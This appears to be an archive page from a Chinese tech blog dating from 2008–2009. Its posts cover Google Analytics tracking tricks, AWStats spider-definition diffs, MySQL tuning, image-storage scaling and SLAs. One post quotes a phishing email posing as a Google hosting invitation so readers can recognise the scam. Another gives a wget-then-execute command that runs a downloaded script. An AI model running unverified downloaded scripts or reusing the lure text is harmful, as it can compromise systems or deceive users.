6、我认为自己除了工作外，在控制欲上面，我：红、没有控制欲，只有感染带动他人的欲望，但自控能力不算强。绿、用规则来保持我对自己的控制和对他人的要求。蓝、内心是有控制欲和希望别人服从我的。黄、没兴趣影响别人，也不愿别人来控制我。

7、当与情人交往时，我最希望对方：红、经常赞美我，让我非常开心、被关怀且自由。黄、可猜到我内心所想，对我的需求很敏感。蓝、得到对方的认可，我是对的并且是有价值的。绿、尊重并且相处静谧的。

8、在人际交往时，我：黄、喜欢交很多朋友，与人交往很有趣。绿、非常审慎缓慢地进入，一旦认为是朋友，便长久地维持。红、希望在人际关系中占据主导地位。蓝、顺其自然，不温不火，相对被动。

9、我做事情，大多数时候是：红、缺少长性，不喜欢长期做相同无变化的事情。蓝、缺少果断，期待最好的结果但总能先看到事情的不利面。黄、缺少耐性，有时行事过于草率。绿、缺少紧迫，行动偏缓，难下决心。

10、通常我完成任务的方式是：黄、经常会赶在最后期限前完成。红、自己做，精确地做，不要麻烦别人。蓝、先做，快速做。绿、使用传统的方法，需要时从他人处得到帮忙。

11、如果有人深深惹恼我时，我：红、内心感到受伤，认为没有原谅的可能，可最终很多时候还是会原谅对方。蓝、深深感到愤怒，如此之深怎可忘记？我会牢记，同时未来完全避开那个家伙。绿、会火冒三丈，并且内心期望有机会狠狠地回应打击。黄、我会避免摊牌，因为那还不到那个地步，那个人多行不义必自毙，或者自己再去找新朋友。

12、在人际关系中，我最在意的是：红、得到他人的赞美和欢迎。黄、得到他人的理解和欣赏。绿、得到他人的感激和尊敬。蓝、得到他人的尊重和接纳。

雅虎统计 chedong.com 读者基于淘宝购物行为的访客网购兴趣分析

Thu, 12 Mar 2009 15:59:26 +0800

2月份雅虎统计推出了一个新功能：访客网购兴趣，估计是基于用户的淘宝用户行为做的分析，数据好像不是每天更新，近期刚更新过。

本网站最适合用户人群：

类型             购买比例    相对平均差异
车载MP3/视听	2.68%	92.8%
数码相机其他配件	2.33%	84.9%
笔记本电脑	3.26%	69.8%
数码摄像机	1.12%	62.3%
GPS配件/车载通讯	7.31%	61.4%
品牌家饰	0.70%	55.6%
GPS	2.07%	54.5%

看来适宜推荐各种IT新设备；相对其他网站平均的差异 = 是以与平均水平相比/平均水平

最不适宜在本网站投放的10中商品广告：

职业套装/学生校服/工作制服	0.72%	-41.0%
运动装外套	0.51%	-42.0%
热水器/浴霸	0.26%	-42.2%
围巾/丝巾/披肩	0.26%	-42.2%
运动裤/裙	0.27%	-42.6%
胶卷相机	0.27%	-43.8%
女装羽绒服	0.27%	-43.8%
装潢二手/闲置专区	0.27%	-44.9%
文胸套装	0.26%	-46.9%
运动套装	0.34%	-50.7%
装饰画/无框画	0.26%	-52.7%

从而也可以看到淘宝各类产品购买人群的分布（平均值）：

手机	6.07%
GPS配件/车载通讯	4.53%
笔记本电脑	1.92%
箱包皮具/热销女包/男包	3.22%
美容护肤/美体/精油	3.05%
饰品/流行首饰/时尚饰品	2.96%
车载MP3/视听	1.39%
鞋包/皮带配件	2.56%
数码相机其他配件	1.26%
运动鞋	2.57%
连衣裙	2.69%
GPS	1.34%
女装T恤	2.49%
MP3/MP4/iPod/录音笔	1.44%
五金与工具	1.44%
女鞋	2.17%
女装裤子	2.27%
品牌手表/流行手表	1.33%
保健品/滋补品	1.82%
女装针织衫	1.86%
女式毛衣	1.72%
风衣/长大衣	1.88%
户外/登山/野营/涉水	1.02%
闪存卡/U盘/移动存储	0.90%
数码摄像机	0.69%
灯饰灯具	0.79%
女装衬衫	1.47%
男装衬衫	0.99%
女装卫衣	1.36%
普通数码相机	1.03%
女装牛仔裤	1.12%
半身裙	1.23%
配件专区	0.60%
单鞋(露脚背)	1.02%
自行车及配件	0.65%
短外套	1.14%
婚纱礼服配件	0.91%
卫浴洁具	0.97%
T恤	0.65%
男装夹克	0.76%
职业套装/学生校服/工作制服	1.22%
品牌家饰	0.45%
男装牛仔裤	0.87%
皮带	0.54%
家装/装潢材料	0.53%
女装/女士精品	1.01%
蕾丝衫/雪纺衫	0.96%
马甲/针织/棉/羽绒背心	0.70%
男式休闲鞋	0.72%
棉衣/棉服	0.83%
小背心/小吊带	0.64%
数码相机/摄像机/图形冲印	0.46%
塑身内衣	0.61%
小西装	0.86%
汽车清洁/美容	0.55%
男装外套	0.58%
运动装外套	0.88%
男装	0.57%
女袜/男袜	0.53%
婚纱/旗袍/礼服	0.65%
文胸	0.65%
西服	0.48%
墙纸/壁纸/壁布	0.57%
储蓄罐	0.41%
汽车/配件/改装/摩托/自行车	0.42%
卫衣	0.52%
摩托车及配件	0.61%
专业数码单反	0.42%
电源/电力设备	0.56%
出租/培训/维护/检修/其它	0.53%
楼宇监控设备	0.66%
家居服/睡衣/浴衣	0.49%
汽车配件/改装专区	0.44%
男装T恤	0.44%
男装毛衣	0.41%
女士内裤	0.43%
电动/电热工具	0.56%
运动套装	0.69%
男式帆布鞋	0.46%
挂饰/壁饰	0.49%
床品套件	0.49%
休闲裤	0.41%
工艺摆设	0.42%
装潢/灯具/五金/安防/卫浴	0.40%
保健鞋	0.35%
个性服装定做	0.40%
靠垫/抱枕/靠垫被/坐垫	0.39%
首饰盒/首饰架	0.42%
安全/防盗用品	0.44%
运动裤/裙	0.47%
胶卷相机	0.48%
女装羽绒服	0.48%
装潢二手/闲置专区	0.49%
玉雕	0.38%
帽子	0.41%
休闲长裤	0.42%
热水器/浴霸	0.45%
围巾/丝巾/披肩	0.45%
文胸套装	0.49%
装饰画/无框画	0.55%

使用Google analytics的 _trackPageview()对网页进行重新命名统计

Thu, 05 Mar 2009 11:11:10 +0800

这里将一些利用Google analytics _trackPageview()进行URL改写实现别名统计的方案样例整理如下： 1 自定义链接改写（rewrite）：将URL变成可读性更好的地址，例如：

/index.php ==> 部署 pageTracker._trackPageview('/首页'); /photos/sun_rise.html ==> 部署 pageTracker._trackPageview('/相册/日出');

这样就可以在页面基于url的分布统计之外，另外通过页面别名实现另外一套可读性更好的映射统计，解决按目录，按页面类型，

2 对动态参数网页进行别名统计：Google统计会忽略掉动态网页 ? 后面的参数，但将 /?a=1&b=2 在统计中改写变成 /a/1/b/2 后，就可以通过pageTracker._trackPageview("/a/1/b/2") 后不修改URL也能变相统计出来；

3 结合前台js，cookie信息和后台注册信息和后台程序组合逻辑进行扩展统计：用前端脚本或者后台程序动态生成： pageTracker._trackPageview(“参数”) 实现更复杂的统计别名例如：用户注册天数： pageTracker._trackPageview("/user/age/203days")，用于登录用户的注册时间分布；分析性别分布： pageTracker._trackPageview("/user/sports/male") 分析每个频道的用户性别比例；记录用户ID： pageTracker._trackPageview("/username/chedong/channel_a") 导出报表后，结合用户数据库信息，获得每个用户在各个频道的行为特点；区分referer：在同一个页面按referer不同分别进行统计： pageTracker._trackPageview("/reg/from/partener") pageTracker._trackPageview("/reg/from/baidu")

4 点出统计：通过onclick事件发出一个虚拟URL统计请求，这个机制可以用于统计flash，下载或点击到外站等无法部署统计代码的目标地址；

另外： Google提供的API大部分是部署时的接口/方法，更关心获得报表输出的批量导出API，据说正在开发中：近期只对Trusted Tester开放，这样就更加方便和其他报表系统/应用集成了；

周三第一次参加网站分析在中国的交流活动，备忘地图如下：

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

David · 2009-03-07 18:10

这个机制似乎不能用于统计flash吧？

yanyi · 2011-08-28 21:26

虚拟页面的方法不可滥用，一旦应用会导致网站统计结果的最终数据偏离真实。

AWStats 6.9发布：补充中文搜索引擎定义和配置样例下载

Mon, 12 Jan 2009 12:59:07 +0800

Eldy赶在新年前把AWStats 6.9发布了：主要的蜘蛛定义和搜索引擎定义修改以及本站的配置样例我已经打包在这里；AWStats虽然是perl写的，但是基本上要用起来不需要对perl熟悉，主要是配置的修改，并且可以适用于于大部分网站的流量，结合Google Analytic统计作为网站状况的轻量级基础统计解决方案；

完整的diff附后：包含了awstats.pl本身的2个小修改； 1 针对大量URL：增大$LIMITFLUSH减少临时文件I/O； 2 针对泛域名型应用的修改：使用clfmerge -b合并后的日志无法匹配"GET /robots.txt" (因为被clfmerge拼上域名，变成了 “GET http://foo.example.com/robots.txt")；

cvs diff: Diffing .
Index: awstats.pl
===================================================================
RCS file: /cvsroot/awstats/awstats/wwwroot/cgi-bin/awstats.pl,v
retrieving revision 1.926
diff -r1.926 awstats.pl
46c46
<   5000;   # Nb of records in data arrays after how we need to flush data on disk
---
>   50000;   # Nb of records in data arrays after how we need to flush data on disk
10385c10385
<       my $regrobot       = qr/^\/robots\.txt$/i;
---
>       my $regrobot       = qr/\/robots\.txt$/i;
cvs diff: Diffing lang
cvs diff: Diffing lang/tooltips_f
cvs diff: Diffing lang/tooltips_m
cvs diff: Diffing lang/tooltips_w
cvs diff: Diffing lib
Index: lib/robots.pm
===================================================================
RCS file: /cvsroot/awstats/awstats/wwwroot/cgi-bin/lib/robots.pm,v
retrieving revision 1.53
diff -r1.53 robots.pm
356a357
> 'yahoo!\sslurp\schina',
476a478
> 'soso',
677a680,688
> 'blogbus',
> 'QBikSpider',
> 'Zwl.Rss.Spider',
> 'BBReaderFeedSpider',
> 'yeti',
> 'doubanbot',
> 'moreoverbot',
> 'xianguo',
> 'blogvibebot',
998a1010
> 'yahoo!\sslurp\schina','[Yahoo! Slurp China](http://misc.yahoo.com.cn/help.html)',
1115a1128
> 'soso','[Soso Spider](http://help.soso.com/webspider.htm)',
1319a1333,1341
> 'blogbus','[BlogBus](http://www.blogbus.com)',
> 'QBikSpider','QBikSpider',
> 'Zwl.Rss.Spider','Zwl.Rss.Spider',
> 'BBReaderFeedSpider','BBReaderFeedSpider',
> 'yeti','[Yeti](http://help.naver.com/robots/)',
> 'doubanbot','[doubanbot](http://www.douban.com)',
> 'moreoverbot','[Moreoverbot](http://www.moreover.com)',
> 'xianguo','[XianGuo](http://www.xianguo.com/)',
> 'blogvibebot','BlogVibeBot',
Index: lib/search_engines.pm
===================================================================
RCS file: /cvsroot/awstats/awstats/wwwroot/cgi-bin/lib/search_engines.pm,v
retrieving revision 1.46
diff -r1.46 search_engines.pm
288a289
> 'image\.baidu\.com',     # baidu image search
296a298
> '\.youdao\.com',       # powered by NetEase
503a506
> 'image\.baidu\.com','baidu_image',
508a512
> '\.youdao\.com','yodao',
768a773
> 'baidu_image','(wd|word)=',
774c779,780
< 'soso','q=',
---
> 'yodao','q=',
> 'soso','w=',
996a1003
> 'baidu_image','[Baidu Image](http://image.baidu.com/)',
1001a1009
> 'yodao', '[YoDao](http://www.youdao.com/)',

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

关于Google FREE Webhosting !的欺诈邮件 200∞

Thu, 18 Dec 2008 09:04:02 +0800

早上收到了一封貌似正常的邮件：

Hello, Dear Gmail customer After our free email services we offer you to sing up for our free hosting services. This service currently is in beta test. And we choose you to test this services and report us any bug you may find.We give you unlimited webspace on your own domain name you must only change your dns services to ns1.google.com and ns2.google.com and enter your domain name in our special control panel. Our servers are linux based and we support PHP, SSL (Secure Shell),FTP,Stats,CGI,Perl,Unlimited email address and finaly 500 MySQL Database.
Notice : Dont sell this invitation code in auction website that may cause we disable your account in the future.

MySQL的性能调优工具：比mysqlreport更方便的tuning-primer.sh

Sun, 07 Dec 2008 20:39:49 +0800

年初的时候收藏过一篇关于mysqlreport的报表解读，和内置的show status,和show variables相比mysqlreport输出一个可读性更好的报表；但Sundry MySQL提供的脚本相比mysqlreport更进一步：除了报表还进一步提供了修改建议。安装和使用非常简单：

wget [http://www.day32.com/MySQL/tuning-primer.sh](http://www.day32.com/MySQL/tuning-primer.sh) chmod +x tuning-primer.sh ./tuning-primer.sh

和mysqlreport一样，tuning-primer.sh也支持.my.cnf

[client] user = USERNAME password = PASSWORD socket = /tmp/mysql.sock

样例输出：在终端上按照问题重要程度分别用黄色/红色字符标记问题

-- MYSQL PERFORMANCE TUNING PRIMER -- - By: Matthew Montgomery -
MySQL Version 5.0.45 i686

Uptime = 19 days 8 hrs 32 min 54 sec Avg. qps = 0 Total Questions = 264260 Threads Connected = 1

Server has been running for over 48hrs. It should be safe to follow these recommendations

图片存储：随时间增加新域名进行扩容的办法

Mon, 24 Nov 2008 20:21:36 +0800

图片服务的特点就是：不修改，少量新增/极少删除，存储量大，需要尽量避免迁移和复制；旧的集群锁定后：对于原来的文件基本上就只删不增了；虽然目前有很多开源的分布式文件系统，但是目前比较便宜的解决方法还是本地硬盘服务器不断一组一组的增加，相互备份的一组服务器作为基础存储，然后前端使用缓存服务器；通过LVS或者CDN进行负载/分布的均衡。

目前一台服务器配上T的存储也相对比较便宜；关键是如何尽量避免使用NFS进行使用；目前我们选择的办法是：图片服务器一组使用2台，一组服务器之间使用NFS相互mount用于备份；另外有上传文件服务器会NFS访问；对外服务文件使用Web服务器负载均衡。而在2台服务器上，会给予基于ID将用户的图片进行存储，存储的分布化会遇到一个问题：固定存储空间随着时间增加再次达到系统的空间/负载的瓶颈。观察了一下Flickr的图片存储地址：好像是在定期启用新的集群，各个时期的域名分布如下：

http://farm1.static.flickr.com 2006年中以前； http://farm2.static.flickr.com 2006年底； http://farm3.static.flickr.com 2007年底； http://farm4.static.flickr.com 2008年底；

[《构建可扩展的Web站点》](http://www.chedong.com/blog/archives/001422.html)上没有提到这个策略，猜测Flickr应该是不断在启用新的服务器集群，当地一个集群用到90%的时候，开始启用下一个集群。一个用户的所有图片地址则存储在数据库中：记录会包含当时的存储所在的集群：这个策略可以学习一下；

user_foo - farm1.static....../20060124_003.jpg \ farm1.static....../20060324_005.jpg \ farm1.static....../20060824_021.jpg \ farm2.static....../20070124_006.jpg \ farm3.static....../20080124_002.jpg \ farm4.static....../20081124_001.jpg

另外如果希望前端存储使用的域名一直保持不变，通过目录规则进行rewrite的方式也是可以的，比如：将要发布的内容，后端按时间建立一个域名进行存储；

200711.foo.example.com 200712.foo.example.com 200801.foo.example.com ... 200811.foo.example.com

而前端则通过前端目录规则，将请求rewrite访问后台不同的存储服务器上：

foo.example.com/200711/ >> 200711.foo.example.com foo.example.com/200712/ >> 200712.foo.example.com ... foo.example.com/200811/ >> 200811.foo.example.com

这样就简单的实现了图片存储随时间增加而扩展的，每隔一定时间将上传服务器指向到新的服务器集群；

简单的说：像存储/发布这样要求稳定对外的服务，服务器扩容必须避免停机将旧文件搬来搬去；而是通过不断的构建新集群的方法，大集群/大空间最好是扩展，而不是对原存储介质进行增容。

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

dudu · 2008-11-25 09:23

这个方法很old了，不过的确是好方法，呵呵

oneoo · 2008-11-25 11:18

传统并且很简单解决问题的好方式 :)

如果有技术能力，可以考虑开发自主的文件系统。相当于 google 的 BigTable。

刀鱼 · 2008-11-26 17:45

增大AWStats的$LIMITFLUSH，减少磁盘临时文件读写 Flush history file on disk (unique url reach flush limit of 5000)

Sat, 25 Oct 2008 08:49:30 +0800

Phase 2 : Now process new records (Flush history on disk after 20000 hosts)… Flush history file on disk (unique url reach flush limit of 5000) Flush history file on disk (unique url reach flush limit of 5000) Flush history file on disk (unique url reach flush limit of 5000) 是AWStats统计常见的输出，每行都是在处理完一定数量的URL(缺省是5000个)后，AWStats将统计结果临时写入磁盘。最近使用AWStats处理百M级别的日志时：磁盘IO居然非常高，发现有时候遇到页面URL个数非常多的时候（比如：在搜索引擎蜘蛛对网站进行深度遍历deep crawl时），经常会使得AWStats对缓存文件的读写过于频繁，随着生成的数据文件越来越大，每次几百M的临时文件读写也会导致统计速度越来越慢；经常一次统计数据下来会Flush history file on disk (unique url reach flush limit of 5000) 几百次；

记得以前是对AWStats进行过简单的参数配置的，可以修改flush的周期，但现在的文档中没有找到相应的配置，只好Hack了一下：awstats.pl文件将每隔发现5千个新链接改为5万个；

> $LIMITFLUSH=5000; # Nb of records in data arrays after how we need to flush data on disk --- < $LIMITFLUSH=50000; # Nb of records in data arrays after how we need to flush data on disk

其实内存够用的话，将这个值设置的更高也是没有问题的。根据观察临时文件生成的次数也相应的有数量级的下降；这个参数和[Lucene中的merge_factor](http://www.chedong.com/tech/lucene.html#hacking)有点像，都是拿内存换速度；

为了避免将蜘蛛的deep crawl识别成正常的Web浏览：经常性的发现一些蜘蛛并标识出来还是很有意义的，比如：最新发现的蜘蛛名是 “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; CollapsarDEEP)”

AWStats的补充定义：区分百度图片搜索和一些新出现的360搜索引擎蜘蛛

Fri, 03 Oct 2008 13:37:35 +0800

更新后的AWStats最新版本lib目录打包下载(latest: 2012-08-23)，蜘蛛定义部分增加了区分Yahoo!中国，Soso 豆瓣，鲜果，360蜘蛛等，其他的是几个国外的RSS阅读器；搜索引擎部分区分了百度图片，有道搜索，soso搜索，360搜索； diff附后：


cvs diff: Diffing .
Index: robots.pm
===================================================================
RCS file: /cvsroot/awstats/awstats/wwwroot/cgi-bin/lib/robots.pm,v
retrieving revision 1.64
diff -r1.64 robots.pm
359a360,364
> '360spider',
> 'sosospider',
> 'youdaobot',
> 'doubanbot',
> 'friendfeedbot',
850c855
< 'qihoobot',
---
> 'jikespider',
1072d1076
< 'youdao',
1129a1134,1138
> 'sosospider','[Soso Spider](http://help.soso.com/webspider.htm)',
> 'doubanbot','[DoubanBot](http://www.douban.com)',
> 'youdaobot','[YoudaoBot](http://www.youdao.com/help/webmaster/spider/)',
> '360spider','[360Spider](http://hao.360.cn/so/index.html)',
> 'friendfeedbot','[FriendFeedBot](FriendFeedBot)',
1616c1625
< 'qihoobot','[QihooBot](http://www.qihoo.com/)',
---
> 'jikespider','[JikeSpider](http://shoulu.jike.com/spider.html)',
1855d1863
< 'youdao', 'youdao', 
Index: search_engines.pm
===================================================================
RCS file: /cvsroot/awstats/awstats/wwwroot/cgi-bin/lib/search_engines.pm,v
retrieving revision 1.53
diff -r1.53 search_engines.pm
175d174
< 'live\.com',
290,298c289,295
< '\.baidu\.com',     # baidu search portal
< '\.vnet\.cn',       # powered by MSN
< '\.soso\.com',      # powered by Google
< '\.sogou\.com',     # powered by Sohu
< '\.3721\.com',      # powered by Yahoo!
< 'iask\.com',        # powered by Sina
< '\.accoona\.com',   # Accoona
< '\.163\.com',       # powered by Google
< '\.zhongsou\.com',  # zhongsou search portal
---
> 'baidu\.',     # baidu search portal
> '118114\.cn',       # powered by Bing
> 'vnet\.cn',       # powered by Bing
> 'soso\.com',      # powered by TenCent
> 'sogou\.com',     # powered by Sohu
> 'youdao\.com',       # powered by NetEase
> '360\.cn',         # powered by QIHU
368c365,368
< 'yandex\.'=>'direct\.yandex\.'
---
> 'yandex\.'=>'direct\.yandex\.',
> 'baidu\.'=>'hi\.baidu\.',
> 'baidu\.'=>'zhidao\.baidu\.',
> 'baidu\.'=>'tieba\.baidu\.'
394d393
< 'live\.com','live',
508,516c507,513
< '\.baidu\.com','baidu',
< 'iask\.com','iask',
< '\.accoona\.com','accoona',
< '\.3721\.com','3721',
< '\.163\.com','netease',
< '\.soso\.com','soso',
< '\.zhongsou\.com','zhongsou',
< '\.vnet\.cn','vnet',
< '\.sogou\.com','sogou',
---
> 'baidu\.','baidu',
> 'youdao\.com','youdao',
> '360\.cn','360',
> 'soso\.com','soso',
> '118114\.cn','vnet',
> 'vnet\.cn','vnet',
> 'sogou\.com','sogou',
672d668
< 'live','q=',
777,782c773,775
< 'iask','(w|k)=',
< 'accoona','qt=',
< '3721','(p|name)=',
< 'netease','q=',
< 'soso','q=',
< 'zhongsou','(word|w)=',
---
> 'youdao','q=',
> '360','q=',
> 'soso','w=',
903d895
< 'live','[Microsoft Windows Live](http://www.live.com/)',
1007,1015c999,1003
< 'baidu','[Baidu](http://www.baidu.com/)',
< 'iask','[Iask](http://www.iask.com/)',
< 'accoona','[Accoona](http://cn.accoona.com)',
< '3721','[3721](http://www.3721.com/)',
< 'netease', '[NetEase](http://www.163.com/)',
< 'soso','[SoSo](http://www.soso.com/)',
< 'zhongsou','[ZhongSou](http://www.zhongsou.com/)',
< 'sogou', '[SoGou](http://www.sogou.com/)',
< 'vnet','[VNet](http://114.vnet.cn/)',
---
> 'baidu','[Baidu](http://www.baidu.com/)',
> 'youdao', '[YouDao](http://www.youdao.com/)',
> 'soso','[SoSo](http://www.soso.com/)',
> 'sogou', '[SoGou](http://www.sogou.com/)',
> 'vnet','[VNet](http://so.118114.cn/)',

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

[心理测试] 在一个伸手不见五指的黑屋子里，你会做什么？

Tue, 30 Sep 2008 13:36:47 +0800

是几周前跆拳道活动后，同事问的我一个心理测试题；

你的反应是什么？这个测试的来源我没有查到，因此也无所谓标准分析结果。

~~结果分析下月公布~~；

2008-10-01 问题的关键是当时的第一反应，我回答的是需要知道时间。但也有人认为自己就不应该在这里，第一想到的就是要出去。这是一个让我感觉非常积极的态度，我还真没考虑黑屋子本身的问题：是呀，难道我就应该在这里吗？而黑屋子本身是有象征意义的，如果这个象征如果是面对死亡，你的答案会怎么解释？再扩大一下黑屋子的范围，如果整个时空是一个黑屋子的话，咱们现在做的一切不就是在地球这个小角落里吗？

💬 历史评论

以下 37 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Felix Huang · 2008-09-30 10:40

冥想，呵呵。

zern · 2008-09-30 11:19

确认是不是真的看不到五指，呵呵。。

QiangningHong · 2008-09-30 11:31

贴墙转圈，看有没有门缝可以出去

bombfans · 2008-09-30 11:34

坐着

嘉佑 · 2008-09-30 13:30

我会站在原地不动，然后找地方出去。

ChaiFeng · 2008-09-30 13:51

这要取决于为什么被关到这个屋子里。做了坏事被惩罚？还是被绑架？还是第六类接触？

53ke · 2008-09-30 14:45

当然是开灯啦

谢玲艳 · 2008-09-30 15:35

寻找灯的开光

foxcamel · 2008-09-30 15:41

睡觉

那个谁 · 2008-09-30 16:05

先去摸摸四周，看屋子有多大、有什么东西，然后会或站或堂找个舒服的姿势去发呆，想一些无关紧要的事情，可能也会唱歌

大E · 2008-09-30 16:15

互联网小业主的急需什么技术解决方案？ - 给Sun Web20kit的建议

Fri, 26 Sep 2008 17:41:09 +0800

上周又召集上海互联网小业主做了一次山寨技术交流会，前3次都是博客大巴做东；这次的一个主题由Sun的工程师向我们介绍了：Web20kit，并征求反馈意见；

觉得对于小网站来说：最需要的是以下几类技术/服务 1 可扩展的存储硬件或服务：目前大部分公司还是用nfs+盘阵的模式做存储，在备份/容量扩展方面，很多都是需要结合应用修改来实现的，如果Sun能在国内做Amazon S3那样的存储中心，我们还是信得过的； 2 全文检索Lucene应用包：对于很多以PHP为主要开发工具的小公司来说，只是为了lucene掌握java成本还是比较高的，之前我尝试过XML接口，现在感觉有一个Json in / Json out的方案也是会很有用的； 3 关键词过滤引擎：其实旁路监听，动态屏蔽的模式已经是非常先进的理念了，昨天见了一次Rebecca，过滤需求其实是非常有中国特色的； 4 系统安全检查咨询：FABAN能否扩展为一个安全漏洞检查工具？安全的检查也是我们非常关心的； 5 MySQL 急救中心：大部分网站出了数据库问题的时候已经没有时间学tracking tool了，SUN的工程师赶快过来吧，如果最后能解决1500￥/小时也是有市场的；

相关的技术还有： SNS的好友关系度运算/存储方案，基于机器学习的自动关联/类聚引擎，邮件群发系统等；小业主大部分感兴趣的是解决具体的问题，而不是架构/framework等；

你的意见是什么？请留言；

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

hubuntu · 2008-09-26 19:59

Json in / Json out的方案是指什么？

庄表伟 · 2008-09-26 21:53

参加了那个会议之后，回去搜索了一下，发现了SystemTap这个工具，可以在Linux系的系统上做到类似Solaris上DTrace的功能。

正在研究中…

Jian Shuo Wang · 2008-10-06 13:26

怎么都不叫我们了？

fzfz · 2008-10-11 15:58

全文检索sphnix貌似还可以,我正在用

基于Google Analytics的点出统计

Sun, 21 Sep 2008 11:18:13 +0800

大部分web引用统计系统都实现了基于站内的点击行为分析，但是对于点出到其他网站的链接，由于点出链接地址不一定都部署了相通的统计。那么这些点击行为就要在链接所在的页面在点击的时候触发统计了。传统的是中间转向页面，但这样的链接机制非常不利于SEO，给蜘蛛带来了大量的麻烦用于识别真正的目标地址；之前介绍过一些基于鼠标触发机制的页面点出统计方法：一般是通过在点击的时候触发在当前页面插入一个 img bean，然后统计相应的img 请求实现，现在连这样的点击触发器在Google Analytics统计中也可以自定义实现了：以下例子在页面点击的时候，会触发Google Analytics生成一个对clickto/TAGET_URL 一个自定义的地址（clickto实际上不存在的）请求访问；


var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write("\<script src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'>\<\/script>" );
var pageTracker = _gat._getTracker("UA-69476-1");
pageTracker._addOrganic("baidu","word");
pageTracker._addOrganic("soso","q");
pageTracker._addOrganic("vnet","kw");
pageTracker._addOrganic("yodao","q");
pageTracker._initData();
pageTracker._trackPageview();

document.onclick = function(e) {
    e = e || event;
    var el = e.target || e.srcElement;
    if ( el.tagName=='A' ) {
        pageTracker._trackPageview("\/clickto/" + window.location.href.replace("http:\/\/www.chedong.com/", "") + 
            el.href.replace("http:\/\/", "\/"));
    }
}
**
```</pre>
在统计报表中看到的效果就是这样的：
![clickto_stats.png](http://www.chedong.com/blog/archives/2008/09/21/clickto_stats.png)
通过在所有访问url中过滤出clickto即可；

感谢[XD同学](http://www.xdanger.com/2007/03/22/000065.html)，这个点出统计例子从[very.cd](http://7999.com/)上学到的；
一个好的例子[胜过长篇大论](http://groups.google.com/group/waw-beijing/files)，可以看到very.cd通过对onclick的触发机制，结合站内的cookie等还实现了客户回访率统计等；

在CSDN大会上VeryCD的Dash说他[最恨的是制造网络阻尼的人](http://www.chedong.com/blog/archives/001246.html)，这点，我是严重支持的；

## 💬 历史评论

> 以下 6 条评论从旧版 Movable Type 博客迁移而来。
> 原始评论时间：2002–2016 年。

**爱燕博客** · 2008-09-21 15:33

一直都很郁闷GG广告的点击统计，至今也是吗弄明白！

---

**fisher** · 2008-09-21 17:30

不错的思路。验证一下这个。。

我原先采取在重要链接上加pageTracker._trackPageview的类似方法。很费。

---

**fisher** · 2008-09-21 17:38

验证了一遍。感觉可以这样简化一下：

document.onclick = function(e) {
    e = e || event;
    var el = e.target || e.srcElement;
    if ( el.tagName=='A' ) {
        pageTracker._trackPageview("\/clickto/" + window.location.pathname + el.href.replace("http:\/\/", "\/"));
    }
}

---

**wangfenxi ** · 2008-12-03 10:52

如题。
很有些人推崇google analytics，但是作为google自己的产品，能用它来统计AdWords关键词广告和adsense的效果吗？
统计出来的数据值得相信吗？
我对此表示怀疑。
其他广告代理公司提供的流量统计系统也一样。
所以，我个人觉得，要统计广告流量，必须使用第三方流量统计网站的服务。

请Google“网分析”一下吧。^^

---

**hunter** · 2008-12-12 00:00

文章里的图片如何做的?效果感觉很好啊.

---

**maxiu** · 2009-09-20 11:40

我们现在用的JYC统计的功能很强，不过是付费的。

Google Reader的好友推荐分享： Blog内容缓释

Tue, 29 Jul 2008 19:57:17 +0800

前几天我给几个做开发的朋友发了个消息，请他们帮我再次在Google Reader中共享了一篇旧招聘启事，可能他们的Gtalk好友都在Google Reader中看到了。一篇文章在Google Reader中的确有过时很快的现象，超过1天后可能就被一片被淹没到数百篇未读文章列表后面了。而被好友较多的Blogger分享的时候还会带来一些新的阅读和传播机会；所以Google Reader的好友推荐是这个新的传播渠道已经被很多人运用的很好了，因为大部分人还不知道如何退订Gtalk好友的分享（难道要删除好友？）也有很多朋友（比如Fenng）采取在发表文章几天后自我推荐的方法再次“提醒”自己的好友。

Google Reader的LifeStream机制: 其实Google真的没有必要收购digg的： Google Reader中的共享（收藏可以看作是匿名digg）已经是一个很好的内容推荐来源；和DIGG相比：缺少的是一个加注释/评论功能和一个频道聚合首页； Google Reader更容易和GTalk组合起来的，如果有个给”XXX分享“：在线回复的接口可以增加更多交互和反馈；

也许是ego-surfing发展了到ego-recommendation？最近比较忙，积累了不少内容没有更新，大部分都通过del.icio.us一句话分享和Google Reader上点击共享了； Blog内容还是需要经常维护并更新的：近期会整理一下半年来在博客大巴的技术管理心得；

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

WebLeOn · 2008-07-30 12:33

嘿嘿，这样很坏哦。。。。

sumnny · 2009-01-08 14:08

现在Google reader分享也可以加评论了

[咨询] 如何签署网络服务有效性条款SLA 服务监控网站搜集

Fri, 13 Jun 2008 22:15:14 +0800

在博客大巴最近的机房续约，机房搬迁和CDN的协议中，都遇到了下服务有效性条款的服务级别协议(Service Level Agreement, SLA)问题。在之前的很多服务合同中，国内的IDC大多是这样定义的：服务中断1个小时，赔偿2倍时间的服务。这样计算：一个月下来如果网络陆陆续续中断了15天，才赔一个月的服务？比较一下国外相应服务的条款： Nirvanix的SLA条款 Amazon S3服务的SLA条款

服务有效时间百分比每自然月下月服务补偿百分比大于等于99%同时小于99.9% 10% 低于99% 25%

另外一个问题就是监控的依据：无论是基于服务商还是基于客户自身，都有一定问题。国内也不知道哪里有比较低成本的监控服务，而监控的细节就更成问题了，还有基于南北电信/网通部署不同的监控点等问题。

更新：2008-08-29 经过1个月的整理，机房的监控主要需要2个方面，即时统计和详细截取； 1 即时监控：主要的目的是用于确定事故的起始点和报警，这方面我们参考了山寨科学家的叽歪监控, 配合Nagios的E-Mail alert发送到手机邮箱报警，时间可以精确到2分钟，这时候Nagios的Cacti统计也有助于从宏观发现事故的特点和原因； 2 细节截取：出现问题的时候，还需要一个详细的事故数据，需要分析当时各个地区的ping tracerout情况等，结合基调网络的多点统计报表，这类统计成本较高，对即时性要求可以低一些；

大家都是怎么解决的？请指教。

